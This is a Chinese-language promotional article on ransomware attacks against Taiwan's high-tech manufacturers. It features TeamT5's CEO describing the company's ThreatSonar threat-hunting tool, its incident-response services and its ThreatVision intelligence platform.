以台灣為例，向來位居全球領導地位的高科技製造業，以往由於行事低調，甚少被駭客組織注意，近兩年駭客組織逐漸將勒索軟體的工具目標鎖定台灣高科技製造業，因此市場上陸續多家業者傳出遭遇勒索軟體攻擊的事件，且被駭客要求支付天價的高額贖金，甚至部分駭客組織為了脅迫受害企業支付贖金，將所竊取部分重要機敏的資料在地下市場公開，迫使讓企業進入支付贖金。根據資安專家進行事後調查發現，遭到同一個駭客組織採用REvil勒索軟體攻擊的受害業者多數為大型跨國企業，一旦這些企業受害其對於企業營運的影響面則會相當顯著，也因此勒索軟體的攻擊成為國內外大企業在面臨資安部署的防禦上最為之戒慎恐懼的一環。

TeamT5 杜浦數位安全創辦人兼執行長蔡松廷指出，若是以事件處理的角度來看，勒索軟體與 APT 進階持續性威脅（Advanced Persistent Threat, APT）攻擊手法非常類似，唯一不同之處是駭客組織藉著勒索軟體攻擊進行勒索受害者並且以獲得一定高額贖金為目標。蔡松廷強調面對勒索軟體、APT 等攻擊手法，企業唯有以全面性思維規畫並在威脅攻擊之際，同步擬定與執行防堵策略，甚或精準部署防護策略捷足先登避免攻擊事件的發生。

蔡松廷進一步強調，以目前 TeamT5 杜浦數位安全所推出的勒索軟體全面防禦策略，採用能有效偵測出 APT 針對型攻擊的 ThreatSonar 威脅狩獵解決方案與目前企業現有的資安解決方案，兩者相互合作中強化與增進企業資安全面部署的完備。

 

## 技術、經驗兼具 提供全方位服務

專精於網路惡意入侵行為分析與追蹤的 TeamT5 杜浦數位安全是台灣頂尖網路威脅情資研究機構之一，憑藉著豐富網駭情資研究與擁有世界級研發團隊全面致力於端點資安防護解決方案（Endpoint Protection Solutions）的開發、提供高度機器學習能力（Machine Learning）與人工智慧（AI）端點惡意程式鑑識系統 - ThreatSonar 外，也深入從事各類資安事件處理與調查服務，讓國內企業能享有最即時的技術支援與顧問諮詢服務。

蔡松廷表示目前公司的威脅情資分析團隊成員平均擁有十年以上的惡意程式與 APT 研究經歷，再加上語言及文化優勢，所以 TeamT5 杜浦數位安全對亞太地區的 APT 駭客族群有著深入瞭解與研究，尤其針對來自中國的 APT 攻擊，我們掌握更多作案細節與手法且具備事件後續追查的優勢，至於核心技術團隊部分，則精通底層作業系統分析、深度逆向分析與先進安全技術，因為具備專業技術與研究能力，加上積極研發最新的偵測方式，因此 ThreatSonar 威脅狩獵解決方案是具備穩定性、精準偵測攻擊者的威脅功能機制。

資安事件防護除了事前緊密的防禦外，對於即時資安事件發生當下或事後所需要進行迅速應變且適當策略與反應，這塊部署拼圖對於企業也是關注的一塊，有了此策略將可以大幅降低不論是人力、金額或是商譽的損失。蔡松廷表示，以 TeamT5 杜浦數位安全來說也有一個長年經驗豐富的 IR（Incident Response 事件應變）鑑識團隊，長期研究與解析駭客族群入侵行為並且具備處理第一線國內外資安事件的經驗，當資安事件發生時，TeamT5 IR 鑑識團隊可以快速完成企業受駭現場與歷史軌跡的綜整分析，並且發掘出攻擊者的入侵過程與手法，提供事件處理深入的分析及建議，進一步協助企業進行復原與改善。

 

## APT 威脅狩獵方案 ThreatSonar 功能強悍

面對日趨複雜與氾濫的 APT 攻擊，TeamT5 杜浦數位安全推出的 ThreatSonar 威脅狩獵解決方案可提供進階的威脅獵捕方案，協助企業覺察環境中可疑威脅。ThreatSonar 具備入侵威脅評估的功能，結合數位鑑識與行為模型技術，可快速偵測與鎖定異常行為，辨識環境中的入侵威脅，以圖形視覺化方式呈現威脅事件，更有效幫助企業進行資安事件追蹤與關聯。

在威脅事件回應方面，ThreatSonar 具備情資驅動特性與自動調查功能，可主動發現符合駭客族群常用 TTPs 的隱藏威脅，提升資安事件調查效率，至於託管式偵測與回應服務部分，ThreatSonar 可持續觀察端點的風險狀況，並由專家團隊協助進行入侵威脅通報、抑制與回應處理，強化企業的資安事件應變能力。

「大部份資安產品從預防角度出發，但仍抵擋不住攻擊者，企業依然持續遭受入侵威脅。」蔡松廷解釋：「ThreatSonar 以 TeamT5 杜浦數位安全團隊長期研究的威脅情資為核心進行研發，內建超過 100 種惡意行為指標與上千種已知後門特徵，協助企業掌握攻擊者在受駭階段中的入侵軌跡。」

 

## 掌握威脅情資 ThreatVision 不容錯過

TeamT5 杜浦數位安全提供 APT 防禦方案之外，也提供 ThreatVision 雙向平台，ThreatVision 是介面直觀、易操作的強大情資資料庫，協助企業洞悉駭客活動，提升企業威脅防禦能量，讓企業可藉此獲取情資專家針對特殊個案的獨特分析報告。ThreatVision 平台提供沙箱動態分析、關鍵字搜尋、APT 威脅情資庫、自動化 API 等服務，還有專業人員線上諮詢回應威脅情資問題，提供威脅情資與樣本關鍵字搜尋，以滿足企業威脅風險調查需求。

蔡松廷表示，ThreatVision 是我們聚焦亞太地區的全球駭客追蹤調查，長期追蹤各類型產業為目標的 APT 駭客族群的成果，能提供豐富的開源威脅情資分析服務，協助企業降低威脅風險，同時平台可辨認與追蹤超過 100 個攻擊族群與上千個惡意程式家族，因此是企業掌握最新情資的最佳管道。

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